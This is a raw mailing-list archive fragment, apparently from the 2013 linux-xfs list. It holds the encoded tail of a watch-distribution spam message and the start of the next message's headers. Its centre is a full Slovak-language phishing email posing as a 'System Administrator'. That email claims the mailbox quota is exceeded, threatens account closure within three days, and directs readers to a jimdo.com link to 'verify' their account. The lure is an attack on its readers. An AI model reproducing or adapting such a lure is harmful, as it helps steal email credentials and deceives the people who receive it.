YXNzPWhwcz5XZSBhcmUgbG9va2luZyBmb3I8L1NQQU4+IDxTUEFOIGNsYXNzPWhwcz5kaXN0cmli dXRvcnMsIGltcG9ydGVycyw8L1NQQU4+IDxTUEFOIGNsYXNzPWhwcz5vcjwvU1BBTj4gPFNQQU4g Y2xhc3M9aHBzPkRyb3Agc2hpcHBpbmc8bzpwPjwvbzpwPjwvU1BBTj48L1NUUk9ORz48L0ZPTlQ+ PC9GT05UPjwvU1BBTj48L1A+PFNQQU4gbGFuZz1FTiBzdHlsZT0ibXNvLWFuc2ktbGFuZ3VhZ2U6 IEVOIj4NCjxQIGNsYXNzPU1zb05vcm1hbCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDEwcHQiPjxC Uj48Rk9OVCBzaXplPTM+PEZPTlQgZmFjZT1DYWxpYnJpPjxTUEFOIGNsYXNzPWhwcz48U1BBTiBz dHlsZT0ibXNvLXNwYWNlcnVuOiB5ZXMiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyA8L1NQ QU4+LTwvU1BBTj4gPFNQQU4gY2xhc3M9aHBzPllvdSBoYXZlIGE8L1NQQU4+IDxTUEFOIGNsYXNz PWhwcz5kaXN0cmlidXRpb24gbmV0d29yayw8L1NQQU4+Jm5ic3A7PFNQQU4gY2xhc3M9aHBzPiBz dG9yZSw8L1NQQU4+IDxTUEFOIGNsYXNzPWhwcz53ZWJzaXRlLjwvU1BBTj48QlI+PEJSPjxTUEFO IGNsYXNzPWhwcz48U1BBTiBzdHlsZT0ibXNvLXNwYWNlcnVuOiB5ZXMiPiZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyA8L1NQQU4+LTwvU1BBTj4gPFNQQU4gY2xhc3M9aHBzPllvdSBjYW4gcmVw cmVzZW50PC9TUEFOPiA8U1BBTiBjbGFzcz1ocHM+b3VyIHR3bzwvU1BBTj4gPFNQQU4gY2xhc3M9 aHBzPm1hcmtzIG9uIHlvdXI8L1NQQU4+IDxTUEFOIGNsYXNzPWhwcz5jaXR5PC9TUEFOPiwgc3Rh dGUgb3IgPFNQQU4gY2xhc3M9aHBzPnJlZ2lvbi48L1NQQU4+PEJSPjxTUEFOIHN0eWxlPSJtc28t c3BhY2VydW46IHllcyI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9TUEFOPjwvRk9O VD48L0ZPTlQ+PC9QPg0KPFAgY2xhc3M9TXNvTm9ybWFsIHN0eWxlPSJNQVJHSU46IDBjbSAwY20g MTBwdCI+PEZPTlQgc2l6ZT0zPjxGT05UIGZhY2U9Q2FsaWJyaT48U1BBTiBzdHlsZT0ibXNvLXNw YWNlcnVuOiB5ZXMiPjwvU1BBTj48L0ZPTlQ+PC9GT05UPjxGT05UIHNpemU9Mz48Rk9OVCBmYWNl PUNhbGlicmk+PFNQQU4gdGFiSW5kZXg9LTEgbGFuZz1lbiBpZD1yZXN1bHRfYm94PjxTUEFOIGNs YXNzPWhwcz5PdXI8L1NQQU4+IDxTUEFOIGNsYXNzPWhwcz5NYXRoZXk8L1NQQU4+PFNQQU4+LVRp c3NvdDwvU1BBTj4gPFNQQU4gY2xhc3M9aHBzPndhdGNoZXM8L1NQQU4+IDxTUEFOIGNsYXNzPWhw cz5hbmQ8L1NQQU4+IDxTUEFOIGNsYXNzPWhwcz5Td2lzczwvU1BBTj4gPFNQQU4gY2xhc3M9aHBz Pk1pbGl0YWlyZSA8U1RST05HPjxGT05UIHNpemU9ND4ibWFkZSBpbiBTd2lzcyI8L0ZPTlQ+PC9T VFJPTkc+PC9TUEFOPiZuYnNwOzxTUEFOIGNsYXNzPWhwcz5hIGdyZWF0IHN1Y2Nlc3M8L1NQQU4+ IDxTUEFOIGNsYXNzPWhwcz5pbiBtb3JlIHRoYW48L1NQQU4+IDxTUEFOIGNsYXNzPWhwcz4yMCBj b3VudHJpZXM8L1NQQU4+PC9TUEFOPjwvRk9OVD48L0ZPTlQ+PC9QPg0KPFAgY2xhc3M9TXNvTm9y bWFsIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMTBwdCI+PEZPTlQgc2l6ZT0zPjxGT05UIGZhY2U9 Q2FsaWJyaT48U1BBTiBjbGFzcz1ocHM+PFNQQU4gc3R5bGU9Im1zby1zcGFjZXJ1bjogeWVzIj4m bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsgJm5ic3A7ICZuYnNwOyA8L1NQQU4+PFNUUk9ORz5XYW50IHRvIGJlIHBhcnQ8 L1NUUk9ORz48L1NQQU4+PFNUUk9ORz4gPFNQQU4gY2xhc3M9aHBzPm9mIHRoZSBhZHZlbnR1cmUg PzwvU1BBTj48L1NUUk9ORz48L0ZPTlQ+PC9GT05UPjwvUD4NCjxQIGNsYXNzPU1zb05vcm1hbCBz dHlsZT0iTUFSR0lOOiAwY20gMGNtIDEwcHQiPjxGT05UIHNpemU9Mz48Rk9OVCBmYWNlPUNhbGli cmk+PFNUUk9ORz48U1BBTiBjbGFzcz1ocHM+PC9TUEFOPjwvU1RST05HPjxCUj48U1BBTiBzdHls ZT0ibXNvLXNwYWNlcnVuOiB5ZXMiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyA8 L1NQQU4+PC9GT05UPjwvRk9OVD48L1NQQU4+PEZPTlQgZmFjZT1DYWxpYnJpPjxTVFJPTkc+PFNQ QU4gY2xhc3M9aHBzPjxTUEFOIGxhbmc9RU4gc3R5bGU9IkZPTlQtU0laRTogMTJwdDsgTElORS1I RUlHSFQ6IDExNSU7IG1zby1iaWRpLWZvbnQtc2l6ZTogMTEuMHB0OyBtc28tYW5zaS1sYW5ndWFn ZTogRU4iPk1hdGhleTwvU1BBTj48L1NQQU4+PFNQQU4gbGFuZz1FTiBzdHlsZT0iRk9OVC1TSVpF OiAxMnB0OyBMSU5FLUhFSUdIVDogMTE1JTsgbXNvLWJpZGktZm9udC1zaXplOiAxMS4wcHQ7IG1z by1hbnNpLWxhbmd1YWdlOiBFTiI+LVRpc3NvdCA8U1BBTiBjbGFzcz1ocHM+KDwvU1BBTj5tYXRo ZXk8U1BBTiBjbGFzcz1hdG4+LTwvU1BBTj50aXNzb3QubmV0KSA8U1BBTiBjbGFzcz1ocHM+JmFt cDs8L1NQQU4+IDxTUEFOIGNsYXNzPWhwcz5Td2lzcy08L1NQQU4+TWlsaXRhaXJlIDxTUEFOIGNs YXNzPWhwcz4oPC9TUEFOPnN3aXNzPFNQQU4gY2xhc3M9YXRuPi08L1NQQU4+bWlsaXRhaXJlLm5l dCk8L1NQQU4+PC9TVFJPTkc+PC9GT05UPjwvUD48Rk9OVCBmYWNlPUNhbGlicmk+PFNUUk9ORz48 U1BBTiBsYW5nPUVOIHN0eWxlPSJGT05ULVNJWkU6IDEycHQ7IExJTkUtSEVJR0hUOiAxMTUlOyBt c28tYmlkaS1mb250LXNpemU6IDExLjBwdDsgbXNvLWFuc2ktbGFuZ3VhZ2U6IEVOIj48L1NQQU4+ PC9TVFJPTkc+PC9GT05UPjxTUEFOIGxhbmc9RU4gc3R5bGU9Im1zby1hbnNpLWxhbmd1YWdlOiBF TiI+DQo8UCBjbGFzcz1Nc29Ob3JtYWwgc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAxMHB0Ij48QlI+ PEZPTlQgc2l6ZT0zPjxGT05UIGZhY2U9Q2FsaWJyaT48U1BBTiBjbGFzcz1ocHM+PFNQQU4gc3R5 bGU9Im1zby1zcGFjZXJ1bjogeWVzIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgZG8gPC9TUEFOPllvdTwvU1BBTj4g PFNQQU4gY2xhc3M9aHBzPmhhdmUgYSBxdWVzdGlvbjwvU1BBTj4sIGluZm9ybWF0aW9ucywgPFNQ QU4gY2xhc3M9aHBzPmNvbmRpdGlvbnMgb2YgdGhlIHBhcnRuZXJzaGlwPC9TUEFOPi48L0ZPTlQ+ PC9GT05UPjwvUD4NCjxQIGNsYXNzPU1zb05vcm1hbCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDEw cHQiPjxGT05UIHNpemU9Mz48Rk9OVCBmYWNlPUNhbGlicmk+PFNQQU4gY2xhc3M9aHBzPjxTUEFO IHN0eWxlPSJtc28tc3BhY2VydW46IHllcyI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IDwvU1BBTj5Zb3U8L1NQQU4+IDxTUEFOIGNs YXNzPWhwcz5jYW4gc2VuZCBtZTwvU1BBTj4gPFNQQU4gY2xhc3M9aHBzPnlvdXIgcXVlc3Rpb25z PC9TUEFOPiA8U1BBTiBjbGFzcz1ocHM+YnkmbmJzcDsgPC9TUEFOPjwvRk9OVD48L0ZPTlQ+PEZP TlQgc2l6ZT0zPjxGT05UIGZhY2U9Q2FsaWJyaT48U1BBTiBjbGFzcz1ocHM+Jm5ic3A7bWFpbDwv U1BBTj4gPFNQQU4gY2xhc3M9aHBzPnRvPC9TUEFOPiZuYnNwOzwvRk9OVD48L0ZPTlQ+PEZPTlQg c2l6ZT0zPjxGT05UIGZhY2U9Q2FsaWJyaT48U1BBTiBzdHlsZT0ibXNvLXNwYWNlcnVuOiB5ZXMi PiZuYnNwOzwvU1BBTj48U1BBTiBjbGFzcz1ocHM+PEEgaHJlZj0ibWFpbHRvOmFuZGVyY29tbXVu aWNhdGlvbkBnbWFpbC5jb20iPmFuZGVyY29tbXVuaWNhdGlvbkBnbWFpbC5jb208L0E+PC9TUEFO PjxCUj48U1BBTiBjbGFzcz1ocHM+PFNQQU4gc3R5bGU9Im1zby1zcGFjZXJ1bjogeWVzIj4mbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8L1NQQU4+PC9TUEFOPjwvRk9OVD48L0ZPTlQ+PC9Q Pg0KPFAgY2xhc3M9TXNvTm9ybWFsIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMTBwdCI+PEZPTlQg c2l6ZT0zPjxGT05UIGZhY2U9Q2FsaWJyaT48U1BBTiBjbGFzcz1ocHM+PFNQQU4gc3R5bGU9Im1z by1zcGFjZXJ1bjogeWVzIj4mbmJzcDsgPC9TUEFOPjxTVFJPTkc+TklDPC9TVFJPTkc+PC9TUEFO PjxTVFJPTkc+IDxTUEFOIGNsYXNzPWhwcz5UZWFtPC9TUEFOPiA8U1BBTiBjbGFzcz1ocHM+U0E8 L1NQQU4+IDxTUEFOIGNsYXNzPWhwcz5HZW5ldmE8L1NQQU4+IDxTUEFOIGNsYXNzPWhwcz5Td2lz czwvU1BBTj48L1NUUk9ORz48L0ZPTlQ+PC9GT05UPjwvUD48Rk9OVCBzaXplPTM+PEZPTlQgZmFj ZT1DYWxpYnJpPjxTUEFOIGNsYXNzPWhwcz48L1NQQU4+DQo8UCBjbGFzcz1Nc29Ob3JtYWwgc3R5 bGU9Ik1BUkdJTjogMGNtIDBjbSAxMHB0Ij48QlI+PFNUUk9ORz48U1BBTiBjbGFzcz1ocHM+PFNQ QU4gc3R5bGU9Im1zby1zcGFjZXJ1bjogeWVzIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsgPC9TUEFOPkphY3F1ZXMgRzwvU1BBTj48L1NUUk9ORz48L1A+DQo8UCBjbGFzcz1N c29Ob3JtYWwgc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAxMHB0Ij48U1RST05HPjxTUEFOIGNsYXNz PWhwcz48L1NQQU4+Jm5ic3A7PFNQQU4gY2xhc3M9aHBzPk1hdGhleTwvU1BBTj48U1BBTiBjbGFz cz1hdG4+LTwvU1BBTj50aXNzb3QubmV0PC9TVFJPTkc+PC9QPg0KPFAgY2xhc3M9TXNvTm9ybWFs IHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMTBwdCI+Jm5ic3A7PC9QPg0KPFAgY2xhc3M9TXNvTm9y bWFsIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMTBwdCI+U291cmNpbmcgRGVwdDxCUj48L1A+PC9G T05UPjwvRk9OVD4NCjxQIGNsYXNzPU1zb05vcm1hbCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDEw cHQiPjwvU1BBTj48U1BBTiBsYW5nPUVOIHN0eWxlPSJtc28tYW5zaS1sYW5ndWFnZTogRU4iPjxG T05UIGZhY2U9Q2FsaWJyaT48U1BBTiBjbGFzcz1ocHM+QnJhc2lsPC9TUEFOPiA8U1BBTiBjbGFz cz1ocHM+RXhjaGFuZ2UgR3JvdXA8L1NQQU4+IDxTUEFOIGNsYXNzPWhwcz4zNTwvU1BBTj4gPFNQ QU4gY2xhc3M9aHBzPkJlYXVmb3J0IENvdXJ0PC9TUEFOPiA8U1BBTiBjbGFzcz1ocHM+QWRtaXJh bHM8L1NQQU4+IDxTUEFOIGNsYXNzPWhwcz5XYXkgU291dGg8L1NQQU4+IDxTUEFOIGNsYXNzPWhw cz5RdWF5PC9TUEFOPiA8U1BBTiBjbGFzcz1ocHM+V2F0ZXJzaWRlPC9TUEFOPiA8U1BBTiBjbGFz cz1ocHM+RTE0PC9TUEFOPiA8U1BBTiBjbGFzcz1ocHM+OVhMPC9TUEFOPjwvRk9OVD48L1NQQU4+ PC9QPg0KPFAgY2xhc3M9TXNvTm9ybWFsIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMTBwdCI+PFNQ QU4gbGFuZz1FTiBzdHlsZT0ibXNvLWFuc2ktbGFuZ3VhZ2U6IEVOIj48Rk9OVCBmYWNlPUNhbGli cmk+PFNQQU4gY2xhc3M9aHBzPjwvU1BBTj4mbmJzcDs8U1BBTiBjbGFzcz1ocHM+TE9ORE9OPC9T UEFOPiA8U1BBTiBjbGFzcz1ocHM+VUs8L1NQQU4+Jm5ic3A7PFNQQU4gc3R5bGU9Im1zby1zcGFj ZXJ1bjogeWVzIj4mbmJzcDs8L1NQQU4+PC9GT05UPjwvU1BBTj48U1BBTiBsYW5nPUVOIHN0eWxl PSJtc28tYW5zaS1sYW5ndWFnZTogRU4iPjxGT05UIGZhY2U9Q2FsaWJyaT48U1BBTiBjbGFzcz1o cHM+Q29tcGFueTwvU1BBTj4gPFNQQU4gY2xhc3M9aHBzPk5vLjwvU1BBTj4gPFNQQU4gY2xhc3M9 aHBzPjA3MDE2NzE3Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IDwvU1BBTj48L0ZPTlQ+PC9TUEFO PjxTUEFOIGxhbmc9RU4gc3R5bGU9Im1zby1hbnNpLWxhbmd1YWdlOiBFTiI+PEZPTlQgc2l6ZT0z PjxGT05UIGZhY2U9Q2FsaWJyaT48U1BBTiBjbGFzcz1ocHM+PEEgaHJlZj0iaHR0cDovL3d3dy5i cmFzaWxleGNoYW5nZWdyb3VwLmNvbS8iIHRhcmdldD1fbmV3PjxGT05UIHNpemU9MT5odHRwOi8v d3d3LmJyYXNpbGV4Y2hhbmdlZ3JvdXAuY29tLzwvRk9OVD48L0E+PC9TUEFOPiA8bzpwPjwvbzpw PjwvRk9OVD48L0ZPTlQ+PC9TUEFOPjwvUD4NCjxQIGNsYXNzPU1zb05vcm1hbCBzdHlsZT0iTUFS R0lOOiAwY20gMGNtIDEwcHQiPjxGT05UIHNpemU9Mz48Rk9OVCBmYWNlPUNhbGlicmk+PFNQQU4g bGFuZz1FTi1VUyBzdHlsZT0ibXNvLWFuc2ktbGFuZ3VhZ2U6IEVOLVVTIj48U1BBTiBzdHlsZT0i bXNvLXNwYWNlcnVuOiB5ZXMiPiZuYnNwOzwvU1BBTj48L1NQQU4+PC9GT05UPjwvRk9OVD48L1A+ DQo8UCBjbGFzcz1Nc29Ob3JtYWwgc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAxMHB0Ij48VT48U1BB TiBzdHlsZT0iRk9OVC1TSVpFOiA3LjVwdDsgRk9OVC1GQU1JTFk6ICdWZXJkYW5hJywnc2Fucy1z ZXJpZic7IExJTkUtSEVJR0hUOiAxMTUlOyBtc28tYmlkaS1mb250LXNpemU6IDExLjBwdCI+PG86 cD48U1BBTiBzdHlsZT0iVEVYVC1ERUNPUkFUSU9OOiBub25lIj48U1RST05HPjxFTT48L0VNPjwv U1RST05HPjwvU1BBTj48L286cD48L1NQQU4+PC9VPjwvUD4NCjxQPjwvRk9OVD48L1NQQU4+PC9Q Pg0KPFAgY2xhc3M9TXNvTm9ybWFsIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMTBwdCI+PFNQQU4g c3R5bGU9IkZPTlQtU0laRTogOHB0OyBGT05ULUZBTUlMWTogJ1ZlcmRhbmEnLCdzYW5zLXNlcmlm JzsgTElORS1IRUlHSFQ6IDExNSU7IG1zby1iaWRpLWZvbnQtc2l6ZTogMTEuMHB0Ij48U1RST05H PjxFTT48Rk9OVCBzaXplPTE+Jm5ic3A7PEJSPjwvRk9OVD48L0VNPjwvU1RST05HPjwvU1BBTj4m bmJzcDs8L1A+DQo8UCBjbGFzcz1Nc29Ob3JtYWwgc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAxMHB0 Ij48U1BBTiBsYW5nPVBUIHN0eWxlPSJGT05ULVNJWkU6IDVwdDsgRk9OVC1GQU1JTFk6ICdWZXJk YW5hJywnc2Fucy1zZXJpZic7IExJTkUtSEVJR0hUOiAxMTUlOyBtc28tYmlkaS1mb250LXNpemU6 IDExLjBwdDsgbXNvLWFuc2ktbGFuZ3VhZ2U6IFBUIj48bzpwPjxTVFJPTkc+PEVNPiZuYnNwOzwv RU0+PC9TVFJPTkc+PC9QPg0KPFAgY2xhc3M9TXNvTm9ybWFsIHN0eWxlPSJNQVJHSU46IDBjbSAw Y20gMTBwdDsgbXNvLW1hcmdpbi10b3AtYWx0OiBhdXRvOyBtc28tbWFyZ2luLWJvdHRvbS1hbHQ6 IGF1dG8iPjxTUEFOPjxTVFJPTkc+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PEZPTlQgc2l6ZT0xPiZuYnNw OyZuYnNwOyZuYnNwOyA8L0ZPTlQ+PC9TVFJPTkc+PC9TUEFOPg0KPFAgY2xhc3M9TXNvTm9ybWFs IHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMTBwdCI+PC9vOnA+PC9TUEFOPjwvUD48U1BBTiBzdHls ZT0iRk9OVC1TSVpFOiA4cHQ7IEZPTlQtRkFNSUxZOiAnVmVyZGFuYScsJ3NhbnMtc2VyaWYnOyBM SU5FLUhFSUdIVDogMjAwJTsgbXNvLWJpZGktZm9udC1zaXplOiAxMS4wcHQiPjwvU1BBTj4mbmJz cDsgDQo8UD48L1A+PFNQQU4gc3R5bGU9IkZPTlQtU0laRTogN3B0OyBGT05ULUZBTUlMWTogJ1Zl cmRhbmEnLCdzYW5zLXNlcmlmJzsgTElORS1IRUlHSFQ6IDExNSU7IG1zby1iaWRpLWZvbnQtc2l6 ZTogMTEuMHB0OyBtc28tYW5zaS1sYW5ndWFnZTogRlItQkU7IG1zby1mYXJlYXN0LWZvbnQtZmFt aWx5OiBDYWxpYnJpOyBtc28tZmFyZWFzdC1sYW5ndWFnZTogRU4tVVM7IG1zby1iaWRpLWZvbnQt ZmFtaWx5OiAnVGltZXMgTmV3IFJvbWFuJzsgbXNvLWJpZGktbGFuZ3VhZ2U6IEFSLVNBIj48QlI+ PC9TUEFOPjxTUEFOPjxCUj48QlIgc3R5bGU9Im1zby1zcGVjaWFsLWNoYXJhY3RlcjogbGluZS1i cmVhayI+PEJSIHN0eWxlPSJtc28tc3BlY2lhbC1jaGFyYWN0ZXI6IGxpbmUtYnJlYWsiPjwvU1BB Tj48L1NQQU4+PC9CT0RZPg== ------=SPLITOR00A_001_15664887D-- From Helios@ac-nice.fr Sun Sep 29 15:48:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9A9EE7F37 for ; Sun, 29 Sep 2013 15:48:18 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2BB73AC003 for ; Sun, 29 Sep 2013 13:48:14 -0700 (PDT) X-ASG-Debug-ID: 1380487691-04cb6c2e9f158eb90001-w1Z2WR Received: from smtp1.ac-nice.fr (smtp1.ac-nice.fr [194.167.84.225]) by cuda.sgi.com with ESMTP id nOT7rEwr0HERysjX for ; Sun, 29 Sep 2013 13:48:12 -0700 (PDT) X-Barracuda-Envelope-From: Helios@ac-nice.fr X-Barracuda-Apparent-Source-IP: 194.167.84.225 Received: from smtp1.ac-nice.fr (localhost [127.0.0.1]) by postfix.imss71 (Postfix) with ESMTP id AACFF1660C0; Sun, 29 Sep 2013 22:48:09 +0200 (CEST) Received: from ac-nice.fr (mtaz.ac-nice.fr [192.168.73.83]) by smtp1.ac-nice.fr (Postfix) with ESMTP id A11D31660A8; Sun, 29 Sep 2013 22:48:08 +0200 (CEST) Received: from [192.168.73.81] (Forwarded-For: 41.138.177.197) by mtaz.ac-nice.fr (mshttpd); Sun, 29 Sep 2013 13:48:08 -0700 From: "CROUS - Helios" Message-ID: <4f1fd4312f6e34d.52482f98@ac-nice.fr> Date: Sun, 29 Sep 2013 13:48:08 -0700 X-Mailer: Oracle Communications Messenger Express 7u4-18.01 64bit (built Jul 15 2010) MIME-Version: 1.0 Content-Language: en Subject: =?iso-8859-2?B?VuG+ZW7tIEUtbWFpbCB1vu12YXRltWE7?= X-Accept-Language: en X-ASG-Orig-Subj: =?iso-8859-2?B?VuG+ZW7tIEUtbWFpbCB1vu12YXRltWE7?= Priority: normal Content-Type: multipart/alternative; boundary="--ad53b119380c928b3bf1e2264b69fb54" To: undisclosed-recipients:; X-Barracuda-Connect: smtp1.ac-nice.fr[194.167.84.225] X-Barracuda-Start-Time: 1380487691 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141036 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ----ad53b119380c928b3bf1e2264b69fb54 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable =C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 V=C3=A1=C5=BEen=C3=AD E-mail u=C5=BE=C3=AD= vate=C4=BEa=3B Prekro=C4=8Dili ste 23432 boxy nastavi=C5=A5 svoje Webov=C3=A1 slu=C5=BEba / Administr=C3=A1tor=2C a budete ma=C5=A5 probl=C3= =A9my pri odosielan=C3=AD a prij=C3=ADma=C5=A5 e-maily=2C k=C3=BDm znova overi=C5=A5=2E Mus=C3=ADte = aktualizova=C5=A5 kliknut=C3=ADm na odkaz ni=C5=BE=C5=A1ie a vypl=C5=88te =C3=BAdaje pre overenie v=C3=A1=C5= =A1ho =C3=BA=C4=8Dtu Pros=C3=ADm=2C=C2=A0 kliknite na odkaz ni=C5=BE=C5=A1ie alebo skop=C3=AD= rova=C5=A5 vlo=C5=BEi=C5=A5 do e-prehliada=C4=8D pre overenie Schr=C3=A1nky=2E http=3A//webmailonline3043=2Ejimdo=2Ecom/ Pozor! Ak tak neurob=C3=ADte=2C bud=C3=BA ma=C5=A5 obmedzen=C3=BD pr=C3=ADstup = k e-mailu schr=C3=A1nky=2E Ak sa nepodar=C3=AD aktualizova=C5=A5 svoj =E2=80=8B=E2=80=8B=C3=BA=C4=8Det do= troch dn=C3=AD od aktualiz=C3=A1cie ozn=C3=A1menia=2C bude v=C3=A1=C5=A1 =C3=BA=C4=8Det natrvalo uzavret=C3=A1=2E S pozdravom=2C System Administrator =C2=AE ----ad53b119380c928b3bf1e2264b69fb54 Content-Type: text/html; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable =C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 V=C3=A1=C5=BEen=C3=AD E-mail u=C5=BE=C3=AD= vate=C4=BEa=3B=3Cbr /=3E=3Cbr /=3EPrekro=C4=8Dili ste 23432 boxy nastavi= =C5=A5 svoje=3Cbr /=3EWebov=C3=A1 slu=C5=BEba / Administr=C3=A1tor=2C a = budete ma=C5=A5 probl=C3=A9my pri odosielan=C3=AD a=3Cbr /=3Eprij=C3=ADm= a=C5=A5 e-maily=2C k=C3=BDm znova overi=C5=A5=2E Mus=C3=ADte aktualizova= =C5=A5 kliknut=C3=ADm na=3Cbr /=3Eodkaz ni=C5=BE=C5=A1ie a vypl=C5=88te = =C3=BAdaje pre overenie v=C3=A1=C5=A1ho =C3=BA=C4=8Dtu=3Cbr /=3EPros=C3=AD= m=2C=C2=A0 kliknite na odkaz ni=C5=BE=C5=A1ie alebo skop=C3=ADrova=C5=A5= vlo=C5=BEi=C5=A5 do=3Cbr /=3Ee-prehliada=C4=8D pre overenie Schr=C3=A1n= ky=2E=3Cbr /=3E=3Cbr /=3Ehttp=3A//webmailonline3043=2Ejimdo=2Ecom/=3Cbr = /=3E=3Cbr /=3EPozor!=3Cbr /=3EAk tak neurob=C3=ADte=2C bud=C3=BA ma=C5=A5= obmedzen=C3=BD pr=C3=ADstup k e-mailu schr=C3=A1nky=2E Ak=3Cbr /=3Esa=3C= br /=3Enepodar=C3=AD aktualizova=C5=A5 svoj =E2=80=8B=E2=80=8B=C3=BA=C4=8D= et do troch dn=C3=AD od aktualiz=C3=A1cie=3Cbr /=3Eozn=C3=A1menia=2C=3Cb= r /=3Ebude v=C3=A1=C5=A1 =C3=BA=C4=8Det natrvalo uzavret=C3=A1=2E=3Cbr /= =3ES pozdravom=2C=3Cbr /=3ESystem Administrator =C2=AE ----ad53b119380c928b3bf1e2264b69fb54-- From david@fromorbit.com Sun Sep 29 17:35:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 